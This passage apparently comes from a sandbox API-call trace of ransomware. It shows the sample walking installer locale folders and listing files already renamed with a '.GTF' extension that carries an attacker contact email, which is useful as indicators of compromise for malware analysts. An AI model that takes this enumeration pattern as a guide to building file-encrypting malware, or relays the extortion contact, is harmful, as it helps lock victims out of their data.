	[0152.873] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9c784930, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9c784930, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9c784930, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x122e6, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0152.873] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9dc34d6d, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9dc34d6d, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e30fbad, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0152.873] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9dc34d6d, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9dc34d6d, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e30fbad, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0152.873] FindClose (in: hFindFile=0x5ba770 | out: hFindFile=0x5ba770) returned 1
	[0152.874] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0152.874] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9cb3e4ff, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9cb3e4ff, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="1028", cAlternateFileName="")) returned 1
	[0152.874] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0152.874] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9cb3e4ff, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9cb3e4ff, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName=".", cAlternateFileName="")) returned 0x5ba770
	[0152.876] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9cb3e4ff, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9cb3e4ff, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="..", cAlternateFileName="")) returned 1
	[0152.876] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9c784930, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9c784930, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9c7d54b5, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0152.876] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9cb3e4ff, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9cb3e4ff, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9dbc242f, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0152.876] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9dd19b9e, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9dd19b9e, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e2c3650, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0152.876] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9dd19b9e, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9dd19b9e, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e2c3650, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0152.876] FindClose (in: hFindFile=0x5ba770 | out: hFindFile=0x5ba770) returned 1
	[0152.877] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0152.877] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9cb3e4ff, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9cb3e4ff, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="1029", cAlternateFileName="")) returned 1
	[0152.877] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0152.877] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9cb3e4ff, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9cb3e4ff, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName=".", cAlternateFileName="")) returned 0x5ba770
	[0152.879] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9cb3e4ff, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9cb3e4ff, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="..", cAlternateFileName="")) returned 1
	[0152.879] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9cb3e4ff, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9cb3e4ff, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9dbe88ca, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xf74, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0152.879] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9ca7f9fc, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9ca7f9fc, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9caf1fc2, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x13d46, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0152.879] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9e2c3650, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9e2c3650, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e335c98, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0152.879] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9e2c3650, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9e2c3650, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e335c98, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0152.879] FindClose (in: hFindFile=0x5ba770 | out: hFindFile=0x5ba770) returned 1
	[0152.880] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0152.880] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9dc0ec89, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9dc0ec89, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="1030", cAlternateFileName="")) returned 1
	[0152.880] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0152.880] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9dc0ec89, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9dc0ec89, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName=".", cAlternateFileName="")) returned 0x5ba770
	[0152.884] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9dc0ec89, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9dc0ec89, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="..", cAlternateFileName="")) returned 1
	[0152.884] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9ca7f9fc, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9ca7f9fc, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9dc0ec89, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xde4, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0152.884] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9cb3e4ff, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9cb3e4ff, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9dbe88ca, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x130b6, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0152.884] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9e30fbad, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9e30fbad, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e335c98, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0152.885] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9e30fbad, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9e30fbad, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e335c98, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0152.885] FindClose (in: hFindFile=0x5ba770 | out: hFindFile=0x5ba770) returned 1
	[0152.885] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0152.885] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9dc34d6d, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9dc34d6d, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="1031", cAlternateFileName="")) returned 1
	[0152.885] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0152.885] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9dc34d6d, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9dc34d6d, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName=".", cAlternateFileName="")) returned 0x5ba770
	[0152.887] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9dc34d6d, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9dc34d6d, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="..", cAlternateFileName="")) returned 1
	[0152.887] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9dbc242f, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9dbc242f, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e335c98, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xe44, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0152.887] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9dc34d6d, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9dc34d6d, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e2e99d0, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x142a6, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0152.888] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9e35bef6, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9e35bef6, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e3ebb4a, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0152.888] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9e35bef6, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9e35bef6, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e3ebb4a, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0152.888] FindClose (in: hFindFile=0x5ba770 | out: hFindFile=0x5ba770) returned 1
	[0152.888] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0152.888] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9e4ad720, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e4ad720, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="1032", cAlternateFileName="")) returned 1
	[0152.888] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0152.889] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9e4ad720, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e4ad720, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName=".", cAlternateFileName="")) returned 0x5ba2f0
	[0152.890] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9e4ad720, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e4ad720, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="..", cAlternateFileName="")) returned 1
	[0152.890] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9e4ad720, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9e4ad720, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9ecee038, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x2394, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0152.891] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9dc34d6d, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9dc34d6d, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9ed14113, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x15206, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0152.891] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f1b4a64, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f1b4a64, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f1d8c2a, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0152.891] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f1b4a64, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f1b4a64, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f1d8c2a, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0152.891] FindClose (in: hFindFile=0x5ba2f0 | out: hFindFile=0x5ba2f0) returned 1
	[0152.892] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0152.892] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9e3a83aa, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e3a83aa, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="1033", cAlternateFileName="")) returned 1
	[0152.892] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0152.892] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9e3a83aa, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e3a83aa, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName=".", cAlternateFileName="")) returned 0x5ba770
